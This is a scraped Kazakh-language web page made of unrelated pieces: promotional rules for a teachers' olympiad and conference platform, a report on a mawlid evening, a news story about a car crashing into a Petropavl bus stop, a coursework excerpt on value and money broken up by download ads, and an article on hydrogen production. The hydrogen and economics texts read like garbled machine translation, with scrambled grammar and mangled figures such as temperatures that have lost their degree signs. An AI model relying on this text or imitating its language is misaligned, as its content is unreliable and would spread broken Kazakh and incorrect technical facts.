↩ "MAMAN" ақпараттық жүйесі - қашықтық білім беруді ұйымдастыруға арналған құралдардың жинақталған білім платформасы.
↩ Пленарлық баяндама (20 минут) / Секциялық баяндама (10 минут). Конференцияға қатысқысы келетін педагогтар өз жеке кабинеті арқылы таңдаған секция тақырыбы бойынша баяндама даярлап, тапсырыс бере алады.
НАЗАР АУДАРЫҢЫЗ:
Олимпиада немесе конкурстар мен конференцияға қатысқаннан кейін кординаторлар мұғалімдер бірден марапаттау қағазын ала-алады.
Марапаттау құжатының шынайылығын тексеру үшін «Нәтижелер» бөліміне өтіп құжат номерін енгізу қажет.
Олимпиадаға қатысқаннан кейін бірден сіз жіберілген қателіктерді көре аласыз.
Конкурс және конференция лауреаттары I, II, III деңгейлі дипломдармен марапатталады. Орын алмаған қатысушылар тексеру комиссиясынан ұсыныс хат алады.
Орын алмаған қатысушылар тексеру комиссиясынан конкурс талабы бойынша анықтамалық ұсыныс хат алады.
Сайыстарға қатысу кезінде шара тақырыбы бойынша конкурстық жұмысты даярлап, жеке кабинет арқылы жіберу қажет. Конкурстық жұмыстарды және конференциялық баяндамаларды жазу кезінде мақала жазуға қойылатын қағидаларды сақтау қажет. Толығырақ: https://adisteme.kz/rules.html
Конкурстық жұмыстар 2 күн ішінде қаралады.
Конференцияға қатысу кезінде, оның тақырыбы бойынша баяндама даярлап, жеке кабинет арқылы жіберу қажет. Орын алған баяндамаларды https://adisteme.kz (ISSN 2708-4299) педагогикалық журналына жариялау ұсынылады.
МАРАПАТТАУ:
Барлық олимпиада, конкурс және конференция қатысушылары электронды сертификаттар мен дипломдар алады.
ҰСТАЗДАРДЫҢ ПЕДАГОГИКАЛЫҚ ЖЕТІСТІКТЕРІН БЕЛГІЛЕП, АЛҒЫС БІЛДІРУ МАҚСАТЫНДА КЕЛЕСІ ЖЕТІСТІКТЕР БОЙЫНША ҚОҒАМ ТӨРАҒАСЫНЫҢ ҚҰҚЫҒЫМЕН МАРАПАТТАУ КАҒИДАЛАРЫ БЕКІТІЛГЕН:
Олимпиадаға бір пән бойынша бірден 5 немесе одан көп қатысушы (бір тапсырыс ішінде) даярлаған педагогтарға қоғам төрағасының атынан алғыс хат беріледі.
Екі бөлек тақырып бойынша ғылыми-тәжірибелік конференцияға қатысқан педагогтарға қоғам төрағасының атынан алғыс хат беріледі.
Екі бөлек тақырып бойынша шығармашылық конкурсқа қатысқан педагогтарға қоғам төрағасының атынан алғыс хат беріледі.
Қолдау қызметі10.00-23.00
Қатысушыларға көмек көрсету орталығы сағат 10:00 — 18:00 аралығында қызмет атқарады.
Құрметті қатысушы! Сұрақ жолдаған кезде тапсырыс нөмірін және сұрақты түсінікті жазуды өтінеміз!
Достарыңмен бөліс:
Қатысуға 11 тапсырыс қабылданды.
Конкурс Курс Олимпиада Онлайн конференция
Авторлық құқық объектісіне құқықтарды мемлекеттік тіркеу туралы куәлігі № 2348 10.11.2016 ж.
Қазақстан Республикасы Әділет министрлігі тіркеу куәлігі № 381-Е 21.02.2015 ж.
Қоғамдық келісім туралы ақпарат
Зияткерлік технологиялар институты
×
Жабу
Қатысушыларға көмек көрсету орталығы сағат 10:00 — 23:00 аралығында қызмет атқарады.
Құрметті қатысушы! Сұрақ жолдаған кезде тапсырыс нөмірін көрсетіп, сұрақты толық және түсінікті жазуды өтінеміз!
ҚОЛДАУ ҚЫЗМЕТІ 10:00 ден 23:00 дейін
https://ukz.kz/wp-content/uploads/kzu_meet_kz.mp3
Регистрация и публикация педагогической биографии
Участие в конкурсах
Участие в конференциях
Участие в олимпиадах
Подготовка и отправка тестовых вопросов для олимпиад
В целях поощрения и морального стимулирования работников в сфере образования и науки за заслуги и достижения в соответствующих областях, а также иных лиц, внесших значительный вклад в развитие образовательной, научной, научно-технической и инновационной деятельности предусмотрено награждение знаками отличия.
Медалями «Қазақстан Ұстазы» награждаются на основании заявления официального представителя (координатора) общества по приказу председателя 3 раза в год (к 20 мая, к 20 августа и ко дню учителя), а также по ходатайству государственных или общественных организации по следующим критериям:
1. К награждению могут быть представлены члены общества, ставшие авторами республиканских и международных олимпиад. Для получения авторского удостоверения необходимо через личные кабинеты отправить 15 тестовых вопросов по преподаваемому предмету состоящие из 12 уровней (по 15 вопросов по каждому уровню). Правила и способы отправления доступны на информационном портале — www.ukz.kz.
2. В целях обобщения педагогического опыта член общества должен представить видео урок по преподаваемому предмету для свободного размещения на портале дистанционного образования. Пример урока доступен по ссылке: https://youtu.be/DHCOvh-ZedI
Представление осуществляется за счет гранта общества «Қазақстан Ұстаздары». Организационные расходы не взимаются. Координаторам общества: заявление на представление и копии документов отправлять на адрес: info@kzu.kz (СКАЧАТЬ ОБРАЗЕЦ ПРЕДСТАВЛЕНИЯ)
Педагог ретінде тіркелу
Координатор болғыңыз келеді ме? Онда бірінші тіркеліңіз.
Тіркелу
Менде жеке кабинет бар
Тапсырыс беру үшін бірінші жеке кабинетке кіру қажет.
Жеке кабинетке кіру
Ұстаздардың педагогикалық жетістіктерін белгілеп, алғыс білдіру мақсатында келесі жетістіктер бойынша Қоғам төрағасының құқығымен марапаттау кағидалары бекітілген:
Олимпиадаға бір пән бойынша бірден 5 оқушы (бір тапсырыс ішінде 5 қатысушы болу қажет) даярлаған педагогтарға қоғам төрағасының атынан алғыс хат беріледі.
Екі бөлек тақырып бойынша ғылыми-тәжірибелік конференцияға қатысқан педагогтарға қоғам төрағасының атынан алғыс хат беріледі.
Екі бөлек тақырып бойынша шығармашылық конкурсқа қатысқан педагогтарға қоғам төрағасының атынан алғыс хат беріледі. |
Қазақстан мұсылмандары діни басқармасының төрағасы, Наурызбай қажы Тағанұлы Астанадағы «Qazaqstan» концерт залында өткен мәуліт кешіне қатысып, жамағатқа уағыз айтты.
«Адамзаттың асылы пайғамбарымыз Мұхаммед (оған Алланың салауаты мен сәлемі болсын) – бүкіл адамзатқа үлгі болған теңдессіз тұлға. Ал оның сүннетін ұстанған ата-бабамыз ардақты елші дүние есігін ашқан айды құрметтеген, оған көп салауат айтып, мәуліт жырын оқыған. Бұрын мәуліт әр шаңырақта оқылса, қазіргі кезде рухани кештер осындай зәулім ғимараттарда Қазақстан мұсылмандары діни басқармасының қолдауымен ұйымдастырылып келеді.
Пайғамбарымыздың (оған Алланың салауаты мен сәлемі болсын) есімі ұлықталған жерде береке болады. Бір хадисте «Кім маған бір салауат айтса, Алла Тағала оған он салауат айтады» делінген. Демек, айналамыз аман, ортамыз берекелі болсын десек, жыл он екі айдың барлық күнінде де салауат айтуды тоқтатпауымыз қажет. Алла Тағала рухани, қайырымдылық кешіне басып келген қадамдарыңызға мол сауаптан жазсын» деді Бас мүфти.
Рухани кеште қасиетті Құран аяттары мен мәуліт жыры оқылып, ел амандығы үшін дұға жасалды. Сондай-ақ «Өнер қырандары» ардақты Пайғамбарымыздың (оған Алланың салауаты мен сәлемі болсын) өмір жолы мен өсиетіне негізделген қойылымдарымен көпшіліктің жүрегін елжіретсе, танымал айтыскер ақын Дидар Қами Майлықожаның «Ата-ананың қадірі» термесін орындады.
Бұдан бөлек, жақсылыққа үндеп, Пайғамбар (оған Алланың салауаты мен сәлемі болсын) сүннетін насихаттайтын әндер шырқалып, кеш соңында Астана қаласы мен іргесіндегі ауылдардың тұрғындарына тосынсый жасалды. Рухани кештің билеттерінен түскен қаржы қайырымдылыққа жұмсалып, Бас мүфти Наурызбай қажы Тағанұлы аталмыш қонақтарға «Мәуліт сыйын» табыстады.
Айта кетейік, үш мыңға жуық көрермен жиналған мәуліт кешіне мұсылман мемлекеттерінің Қазақстандағы елшілері, елге танымал азаматтар мен Діни басқарма қызметкерлері, мешіт имамдары қатысты. |
Кеше күллі елдің назары қаламыздың Жұмысшы кентіне ауды. Мұнда жеңіл көлік жүргізушісі аялдамаға соғылып, бірнеше адам зардап шекті. Оқиғаның салдарын мына видеодан көруге болады. Құлаған павильон, дүрліккен адамдар, жедел жәрдем қызметкерлері мен тәртіп сақшылары.
НҰРБЕК БАЙЛИН, қалалық ПБ патрульдік полиция батальонының взвод командирі
– 13-ші қараша сағат 14:20 шамасында Петропавл қаласындағы Панфилов көшесі бойында “ВАЗ-2108” автокөлігінің жүргізушісі көлік тізгініне ие бола алмай аялдама павильонына соғылған. Жол-көлік оқиғасы нәтижесінде 43 жастағы қала тұрғыны мен 2010 және 2015 жылдары туған 3 кәмелетке толмаған бала зардап шекті. Төртеуі де түрлі жарақаттармен қаланың медициналық мекемелеріне жатқызылды. “ВАЗ-2108” автокөлігінің 23 жастағы жүргізушісі мас еместігі анықталды.
Ақпарды саралай келсек, жүргізушінің ішімдік ішпегенін, бірақ, сөйте тұра көлік тізгініне ие бола алмағанын ұғынамыз. Орын алған оқиғаға қатысты зерттеу жүргізіп көрейік. Кеше көктайғақ болған жоқ. Демек, машинаның дөңгелектері сырғанап, аялдамаға соғылды деген ой болжамдар тізімінен автоматты түрде алынып тасталады. Мәселе жылдамдықты шамадан тыс асыруда сияқты. Яғни, жүргізуші Панфилов көшесінің бойында әр 200 метр сайын тұрған белгілерді назарға ілмей, зымыранша зулаған.
БАЙБОЛАТ БЕКТЕМІРҰЛЫ, тілші:
қаз: 168, 00:02-00:33 Панфилов көшесінің бойында жылдамдықты қырықтан асырмау қажет деген ескерту белгісі тұр. Яғни, жүргізуші қырықпен немесе одан төмен жылдамдықпен жүруі қажет. Кешегі автокөлік тізгініндегі азаматтың бұл ескертуді елегені күмән туғызады. Өйткені, біз қазір қырықпен келе жатырмыз. Жүргізуші рөлге оп-оңай ие болып келе жатыр. Ал кешегі азамат жоғары жылдамдықпен жүргенге ұқсайды.
Панфилов көшесінде тұратын тұрғындар үрейленіп қалған. Олардың кейбірі кеше қатты дыбысты естіп, бірден далаға шығыпты. Жанталаса жедел жәрдемге хабарласқан екен.
БАЙБОЛАТ БЕКТЕМІРҰЛЫ, тілші:
– Апат орын алған жерге арнайы келдік. Панфилов көшесінің бойындағы аялдама алынып тасталған. Кешегі апаттан кейін жарамсыз күйге түскенге ұқсайды. Дегенмен, қозғалыс тоқтаған жоқ. Көліктер әрлі-берлі зуылдап жатыр. Автобус та жаңа келіп, үйреншікті жерге жолаушыларды түсіріп кетті.
Болар іс болды, бояуы сіңді. Бәрінен бұрын алаңдататыны – зардап шеккен ересек адам мен 3 баланың бүгінгі жағдайы. Денсаулық сақтау басқармасы ұсынған дерекке сүйенсек, қазір 43 жастағы қала тұрғыны тұрақты ауыр күйде жансақтау бөлімінде жатыр. Ал бүлдіршіндердің екеуі хирургиялық бөлімшеге шығарылыпты.
ШЫНҒЫС НҰРҒАЛИЕВ, облыстық көпбейінді балалар ауруханасының дәрігері:
– 3 бала да түрлі дене жарақатымен облыстық көпбейінді балалар ауруханасына жеткізілді. Үшеудің екеуі – 7 жастағы егіздер. Барлығы бірден жансақтау бөлімшесіне жатқызылды. Кейін егіздер хирургиялық бөлімшеге көшірілді. Жағдайларын орташа ауыр деп бағалап отырмыз. Ал ауыр соққыдан 12 жастағы баланың жамбас сүйегі ашық сынған және миы шайқалған. Біз шұғыл түрде ота жасадық. Ол әлі де жансақтау бөлімшесінде жатыр. Өздігімен демалады. Бірақ, жағдайы тұрақты ауыр күйде.
Қазір бұл оқиғаға қатысты материалдар қалалық полиция басқармасында қаралып жатыр екен. Жақын арада қорытындысы шықпақ. Кеше түнде Жұмысшы кентінде, дәл 4 бірдей адам зардап шеккен жерде тағы бір жол-көлік апаты болды. Мұнда “Mercedes” пен “Mitsubishi” маркалы көліктер соғылған. Салдарынан алғаш аталған машинаның 20 жастағы жүргізушісі мен 21 жастағы жолаушы жарақат алыпты. Медициналық көмектен кейін екеуі де үйлеріне жіберілген. Жалпы, 1-ші қарашадан бастап облыс жолдарында 17 апат тіркеліп, 30 адам зардап шеккен екен. Полицейлер өте абай болу қажеттігін ескертеді! |
Құн түрінің дамуы мынаны куәландыруды: ақша бұл техникалық айырбастау құралы емес, ол жалпылама эквиваленттік (балама) роль атқаратын тауар. Кез келген тауар өзінің құнын ақшамен көрсетеді.
Әр түрлі құн теориясы бар. Олардың бірі - еңбекті теориясы, қоғамдық абстракты еңбекпен ұстау және тауар құны мөлшерін анықтайды, өндірістеріне жұмсалғанына.
Ақшаның бірінші қызметі - құн өлшемі. Ақшаның көмегімен басқа барлық тауардың құнын көрсетуге болады. Осы қызметті ойша нағыз ақшалар атқарады. Кез келген тауардың құнын ақшалай түрде көрсету үшін, нақты ақшаны талап ету керек емес. Тауар құнының ақшалай көрсетілуі баға деп аталады. Баға сұраным мен ұсынымның әсерінен құннан ауытқуы мүмкін. Сондықтан тауар өз құнына да және сұраным мен ұсынымнан да тәуелді.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
1 Экономикадағы құнның формасы
1.1 Құн формасының эволюциясы
Қоғамдық еңбек бөлінісінің одан әрі дамуы, тауар өндірісінің өсуі, құн формасының эволюциясы, айырбас жүйелігінің артуы - барлық тауарлар дүниесінен басқа тауарлар барған сайын осыған көбірек айырбасталатын болған бір тауардың бөлініп шығуына әкелді. Бұл құнның жалпыға ортақ формасының пайда болуы деген сөзі еді. Кез келген басқа тауарларға тікелей айырбасталуға қабілеті бар тауар жалпылама эквивалент деген ат алды. Әр түрлі халықтарда және сол бір халықтың өзінің тарихының әр түрлі кезеңдерінде жалпылама эквивалент рөлін әр түрлі өнімдер (мал, аң терілері, піл сүйегі және т.б.) атқарады. Уақыт өте келе, бұл рөлді барлық жерде дерлік үнемі күміс пен алтын атқаратын болды.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
1.2 Құн теориялары
Әр түрлі құн теориясы бар. Олардың теориясы - еңбекті құн теориясы, қоғамдық абстракты еңбекпен ұстау және тауар құны мөлшерін анықтайды, өндірістеріне жұмсағанына. Мына теория негіздері ағылшын экономистермен жасалған У. Петти, А. Смитом және Д. Рикардо. Петти ойды айтты, не жалпы құн еңбекпен анықталады. Смиттің сәйкесінше, заттың өндіріс салалары тауарлардың құны кез келгенге жасалады, бірақ ол нақтылы еңбекке құрушы қасиет құнын қосымша жазған. Рикардо еңбекпен тауарлардың құнын анықтайды, өндіріске олардың жұмсалғанмен, оның нақтылы түріне қатыссыздық. К. Маркстың жұмыстарында тауар өндірушілердің еңбек екі жақты табиғаты алғашқы рет ашылған болатын.
Қазіргі заманғы шарттарында құн кең көп таралған теориясына шекті пайдалы теориясы келеді. Ол өзінің жұмыстарының басын К. Менгер, Е. Бем-Баверк, Ф. Визерден алады.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
1.3 Құн заңы
Қоғамдық өндірістің тауарлық нысанының ерекшелігі құн заңының іс-әрекетінен нақты көрінеді. Құн заңы тауар өндірісі мен тауар айналысының негізгі заңы. Құн заңының іс-әрекетінің мәні мынада: тауарларды өндіру мен айырбастау оларды жасап шығаруға жұмсалған қоғамдық қажетті еңбек шығындары негізінде жүзеге асырылуға тиіс. Сонымен құн заңы тауарлы өндірістің ең мәнді сипатын көрсетеді немесе әр қилы тауар өндірушілердің шаруашылық нәтижесінің қорытындысында өнім айырбастауда эквиваленттілікті талап етеді.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
1.3.2 Айырбас құны
Тұтыну құны бар затты әлі тауар дей алмаймыз. Ол үшін - айырбас құны немесе басқаша құн болуы керек.
Тауар өндірушінің өзі үшін өндірілген өнімнің пайдалы қасиеті - оның басқа қажетті материалдық игіліктерге айырбастау сипаты. Экономикалық теорияда тауардың басқа тауарларға белгілі пропорцияда айырбасталу сипаты «айырбас құны» деп аталады. Айырбас құн - тауар басқа заттармен салыстыру арқылы қаралатын зат екенін білдіреді, сонымен бірге заттар арасындағы қатынас орнаған жерде оларды өндірген адамдар арасындағы қатынас та бүркеленіп көрінетінін байқауға болады.
Айырбас құны - ең алдымен сан арақатынасы түрінде көрінеді. Мұнда біртектес тұтыну құндары екінші біртектес тұтыну құралдарына айырбасталады. Бұл арақатынас уақыты мен орнына қарай ылғи өзгеріп отырады. Мысалы, 50 кг астық 25 метр матаға қатысы - осы тауардың айырбас құны болады. Жай көзге бұл бір кездейсоқ қатынас сияқты. Өйткені 50 кг астықтың бүгін 20 метр, ертең 30 метр матаға да айырбасталуы мүмкін ғой. Алайда осы кездейсоқ жайдың өзінде бір заңдылық бар. Оның негізі тұтыну құнында емес (екеуінде екі түрлі), осы тауарларды өндіруге жұмсалған қоғамдық еңбекте. Тауар өндірушінің таарға сіңірген қоғамдық еңбегі тауардың құнын жасайды. Құн - тауарға сіңіріліп, онда затқа айналған қоғамдық еңбек. Тауардың құны қоғамдық категория, ол көрінбейді, бірақ ол тауарды тауарға айырбастағанда, бір тауарды екінші бір тауарға теңестіргенде айқындалып отырады.
Айырбас құны 3 прнципке негізделеді:
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
1.3.3 Құн нысаны
Алғашқы кезеңде айырбас өте кездейсоқ, жай түрде орын алды. Осыған орай құн да кездейсоқ, жай нысанда дамыды. Мысалы, бір қой бір қап астыққа айырбасталды, яғни бір заттың құны (қойдың) екінші бір тауар арқылы (астық) анықталады. Біздің мысалымызда бірінші тауар (қой) активті рөл атқарып тұр. Яғни өзінің құнын екінші бір тауар астық арқылы анықтап отыр. Яғни өзінің құнын екінші бір тауар астық арқылы анықтап отыр.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
2 Экономикалық теориядағы ақша
2.1 Ақшаның пайда болуы
Тарих құрылуының ұзақ мерзімді уақытында ақшаның пайда болуы және мәні туралы біркелкі шешімін рапқан емес. Экономикалық мектептің бір өкілдері ерте дүниедегі грек ойшылы Аристотель ұсынған қағидаға сүйене отырып, ақшаны - белгілі шарт, адамдар арасындағы саналы келісім нәтижесі деп қараған. Басқа бағыттағы мектептің өкілдері ақшаны мемлекет бекіткен тауарды айырбастауға қажетті құрал ретінде қарастырған. Үшінші өкілдері ақша өзінің табиғаты бойынша алтын мен күміске жататындығын айтқан.
Ақшаның пайда болуын түсіндіру үшін, «тауар құны қатынасында қорытындылатын, құнның даму көрінісіне көз салып, оның қарапайым терең байқалатын бейнесін, көзді алатын ақшалай түріне дейін қарау керек. Сонда ғана оның жұмбақтығы да жойылады».
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
2.2 Ақшалардың түрлері
2.2.1 Қағаз ақшалар
Жалпы аты қағаз ақшаның белгілері -»банкноттар». ХІХ ғ. банкноттар үш категорияға бөлінеді «классикалық», «несие» және «кәдімгі»; классикалық банкнот тек қана алғашқы алтынға айырбасқа жатады (не үшін олар күнделікті пайдаланылатын атты алды «майда банкноттар»). Бірақ алтын ақша жүйені «жарды», банкноттық несие, классикалық қағаз ақшаларына айналғаны. Сондықтан қағаз ақшаларының қалыптасуы біз несие банкноттық үлгісінде қарап шығамыз.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
2.2.2 Электрондық ақшалар
ХХ ғ. соңы ақшалардың жаңа түрімен асуымен басталған -»электрондық ақша». Бұл компьютерлердің бұқаралық шығаруының арқасында мүмкін болды, бұл электрондық төлеу аудармаларға өтуге рұқсат етті. Бұл жаңа, «тым жылдам» чек түрі, бірақ пластикалық («несиенің») карточка түрінде. Карточканың пайда болуы кардиналдық бейнемен біздің ұсынуымызды алмастырады ақшалар туралы, олардың апара ақпараттық селдерге. Басқаша жағдай айтқанда әбден нақты, барлық келісімнің, өте ұсақ сатып алуларға дейін, электрондық аудармалар арқылы жүзеге асады.
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
2.3 Ақша және оның экономикадағы ролі
Ақшалардың әр түрлі теориялары бар. Металдық теория мейірбан олардың металдармен теңестіреді. Оның пікірі бойынша (меркантелистердің); алтын және күміс табиғатта ақшаларға келеді, өз табиғи қасиеттермен байланысты.
Номиналдық теория есептік шартты бірліктер белгілермен ақшалар есептейді.Мына теория сонымен қатар ақшалардың табиғатын теріске шығарады. |
Сутегілік энергетика қалыптасты бағыттарының бірі ретінде дамыту, ғылыми-техникалық прогресс ортасында 70-шы жылдардың өткен ғасырдың. Шамасына қарай, әдебиетті облысы зерттеулер байланысты алумен, сақтаумен, көлікпен және пайдалану сутегі ойынының барлық астам айқын экологиялық артықшылықтары сутегі технологияларды халық шаруашылығының əр түрлі салаларында. Дамуындағы бірқатар сутегі технологиялар (мысалы, отын элементтері, көлік жүйелері водороде, металлогидридные және басқа да көптеген) көрсетті, пайдалану сутегі әкеледі сапалы жаңа көрсеткіш жүйелерін немесе агрегаттары. Ал орындалған техникалық-экономикалық зерттеулер көрсетті: қарамастан, бұл сутегі болып табылады қайталама энергия тасымалдағыш, яғни қарағанда қымбат табиғи отын, оның қолдану бірқатар жағдайда экономикалық тұрғыдан орынды болып шығады. Сондықтан жұмыс сутекті энергетика көп, әсіресе, өнеркәсібі дамыған елдерде жатады дамуының басым бағыттары, ғылым мен техниканың және оларға үлкен қаржылық қолдау тарапынан мемлекеттік құрылымдардың және жеке капитал.
Қасиеттері сутегі
Еркін жай-күйі және қалыпты сутегі бойынша — түссіз газ жоқ иісі мен дәмі. Салыстырмалы ауа сутегі бар тығыздығы, 1/14. Ол, әдетте, бар комбинацияда басқа да элементтері, мысалы, оттегі суда көміртегі метане және органикалық қосылыстар. Өйткені сутегі химиялық өте белсенді, ол сирек бар сияқты несвязанный элементі.
Салқындатылған сұйық күйіне дейін сутегі алады 1/700 көлемінің газ тәрізді күйі. Сутек қосылған кезде оттегі бар ең биік ұстау, қуат бірлігіне келетін массасы: 120.7 ГДж/т, Бұл — себептерінің бірі сұйық сутегі ретінде пайдаланылады отын үшін зымырандар мен энергетика, ғарыш кемесі, кіші молекулалық массасы және жоғары үлестік энергосодержание сутегі зор маңызы бар. Жаққан кезде таза әдемілейді жалғыз өнімдер — высокотемпературное жылу және су. Осылайша, пайдалану кезінде сутегі емес құрылады парниктік газдар және бұзылмаса тіпті табиғаттағы су айналымы.
Өндірісі сутегі
Қорлар сутегі байланысты қр шектелген зат суда, іс жүзінде неисчерпаемы. Алшақтық осы байланыстарды жүргізуге мүмкіндік береді сутегі, содан кейін оны пайдалану отын ретінде. Әзірленген көптеген процестер бойынша разложению су құрамдас элементтері.
Қыздырғанда 25000 астам С су разлагается арналған сутегі және оттегі (тікелей термолиз). Осындай жоғары температураны алуға болады, мысалы, арқылы концентраттарды күн энергиясы. Мәселе мынада, болдырмау үшін рекомбинацию сутегі және оттегі.
Қазіргі уақытта әлемде басым бөлігі өндірілетін өнеркәсіптік ауқымда сутегі процессінде бу конверсия метан (ЖКМ). Алынған осы жолмен сутегі ретінде пайдаланылады реагент тазарту үшін мұнай және компонент азот тыңайтқыштар, сондай-ақ зымыран. Бу және жылу энергиясы температураларда 750-8500 Бастап талап етіледі ажырату үшін сутегі жылғы көміртегі негіздері метане, ол химиялық бу реформерах арналған каталитикалық тиіс. Бірінші саты процесінің ЖКМ расщепляет метан және су буы арналған сутегі және моноксид көміртегі. Артынша екінші сатысында «реакция жылжыту» айналдырады моно оксиді, көміртегі және суды көміртегі диоксиді) және сутегі. Бұл реакцияпроисходит кезінде температурасы 200-2500 С.
30-жылдары КСРО-да алды өнеркәсіптік ауқымда синтез-газ арқылы бу-ауа көмірді газдандыру. Қазіргі уақытта ИПХФ РҒА Черноголовке әзірленеді технологиясы газдандыру көмір сверхадиабатическом. Бұл технология аударуға мүмкіндік береді жылу энергиясы көмірдің жылу энергиясын синтез-газ ПӘК 98%.
Бастап 70-жылдардың өткен ғасырдың, елдегі орындалды және қажетті ғылыми-техникалық негіздеу және эксперименттік растау жобалар жоғары температуралы гелиевых реакторлар (ВТГР) атом энерготехнологических станцияларының (АЭТС) химия өнеркәсібі және қара металлургия. Олардың арасында АБТУ-50, ал кейінірек жобасы атом энерготехнологической станция реактордан ВГ-400 қуаты 1060 МВт ядролық өндірісі бойынша химиялық кешен сутегі және оның негізіндегі қоспалардан, шығаратын аммиак және метанол, сондай-ақ кейінгі жобаларды.
Негізі жобаларды ВТГР болды әзірлеу ядролық зымырандық қозғалтқыштардың водороде. Құрылған біздің елімізде осы мақсаттар үшін сынақ жоғары температуралы реакторлар және демонстрациялық ядролық ракета қозғалтқыштары жұмыс қабілеттілігін көрсетті қыздыру кезінде сутегі дейін рекордтық температура 3000К.
Жоғары температуралы реакторлар гелиевым жылу ұстағышпен — бұл жаңа түрі экологиялық таза, әмбебап атом энергия көздерінің, бірегей қасиеттері — қабілеті әзірлеуге жылу температурада 10000-нан астам С және жоғары қауіпсіздік деңгейін анықтайды кең мүмкіндіктер оларды пайдалану өндіру үшін көмекші газ турбиналы циклінде электр энергиясын жоғары ПӘК-мен жабдықтау үшін высокотемпературным жылумен және электр қуатымен өндіріс үдерістерін сутегі, тұщыландыру, суды, технологиялық процестердің химиялық, мұнай өңдеу, металлургия және басқа өнеркәсіп салалары.
Бірі-ең озық осы саладағы халықаралық жобасы ГТ-МГР әзірлейтін бірлескен күш-жігерімен ресейлік институттарының және американдық компанияның GA. Жобамен ынтымақтасады, сондай-ақ компанияның Фраматом және Фуджи электрик.
Алу атомдық сутегі
Көзі ретінде атомдық сутегі пайдаланады заттар, отщепляющие кезінде сәулеленген сутегі атомдары. Мысалы, сәулеленген кезде ультрафиолетовым жарықпен йодистого сутегі реакциясы жүреді білімі бар атомдық сутегі:
HI + hv® H + I
Алу үшін, атомдық сутегі қолданылады, сондай-ақ әдісі термиялық диссоциации молекулярлық сутегі платина, палладиевой немесе вольфрам сымға қыздырылған сутегі атмосферасында қысым кезінде кем 1,33 Па. Диссоциации сутегі атомдары болады, қол жеткізу және пайдалану кезінде радиоактивті заттар. Белгілі алу тәсілі атомдық сутегі высокочастотном электр разрядта, кейіннен вымораживанием молекулярлық сутегі.
Жеке бөліп алу әдістері сутегінің водородосодержащих қоспалар.
Сутегі айтарлықтай мөлшерде ұсталады көптеген газ қоспаларындағы мысалы коксовом жабдықтау, газ, алатын кезде пиролизе бутадиен, дивинил өндіруде жылуды.
Алу үшін сутегінің водородосодержащих газ қоспаларын пайдаланады физикалық әдістері бөлу және концентрациялау сутегі.
Төменгі температуралы конденсаттау және фракциялау. Бұл процесс жоғары дәрежесімен сипатталады сутегіні газ қоспасынан және қолайлы экономикалық көрсеткіштері. Әдетте кезде газдың қысымы 4 МПа алу үшін 93-94%-дық сутегі қажет температура 115K. Концентрациясы сутегі бастапқы газда 40% — дан астам дәрежесін алу жетуі мүмкін 95%. Шығыны энергиясын концентрациялау H2 70-90% — ға дейін шамамен 22 кВт. с 1000м3 бөлінетін сутегі.
Адсорбционное бөлу. Бұл процесс көмегімен жүзеге асырылады молекулалық елек пайдаланылады жұмыс істейтін адсорберлері. Оны жүргізуге болады қысыммен 3-3,5 МПа дәрежесімен алу 80-85% H2 түрінде 90%-тік концентрат. Салыстырғанда низкотемпературным әдісімен сутегінің бөліну жүргізу үшін осы үдерістің талап етіледі шамамен 25-30% — ға аз күрделі және 30-40% пайдалану шығындары.
Адсорбционное бөлу, сутегі көмегімен сұйық еріткіштер. Бірқатар жағдайларда әдіс үшін жарамды алған таза H2. Бұл әдіс бойынша мүмкін денесі шығарылды 80-90% сутегі ұсталатын бастапқы газ қоспасын және қол жеткізілген оның концентрациясы мақсатты өнім 99,9%. Энергияның шығыны табуды құрайды 68 кВт. с 1000м3 H2 .
Алу сутегі су электролизімен
Электролиз судың ең танымал және жақсы зерттелген әдістерін сутегі алу. Ол таза өнім алуды қамтамасыз етеді (99,6-99,9% H2 ) бір технологиялық сатысы. Өндірістік шығындар алуға сутегі электр қуатының құны шамамен 855.
Бұл әдіс алдым қолдану бірқатар елдер бар елеулі ресурстары арзан су энергиясына. Ең ірі электрохимиялық кешендері орналасқан, Канада, Үндістан, Египет, Норвегия, бірақ құрылған және жұмыс жасайды, мыңнан астам ұсақ қондырғыларды әлемнің көптеген елдерінде. Маңызды бұл әдіс, өйткені, ол ең әмбебап пайдалануға қатысты бастапқы қуат көздер. Қазақстан атом энергетикасын дамытуға байланысты мүмкін жаңа гүлденуі суды электролиздеу базасында арзан электр энергиясы атом электр станциялары. Ресурстар қазіргі заманғы электр энергетикасы үшін жеткіліксіз сутегі алу өнімі ретінде одан әрі энергетикалық пайдалану.
Электрохимиялық алу әдісі сутегі судан ие мынадай жақсы қасиеттері бар: 1) жоғары тазалығы алынатын сутегі – 99,99% — ға дейін және одан жоғары; 2) қарапайым технологиялық процесін, оның үздіксіздігі, мүмкіндігін барынша толық автоматтандыру жоқтығы, қозғалатын бөлшектерін электролиттік ұяшықта; 3) алу мүмкіндігі құнды жанама өнімдер – ауыр су және оттегі; 4) общедоступное және таусылмас шикізат – су; 5) икемділік процесінің алу мүмкіндігі сутегі тікелей қысыммен; 6) жеке бөлу сутегі және оттегінің ең процесінде электролиз.
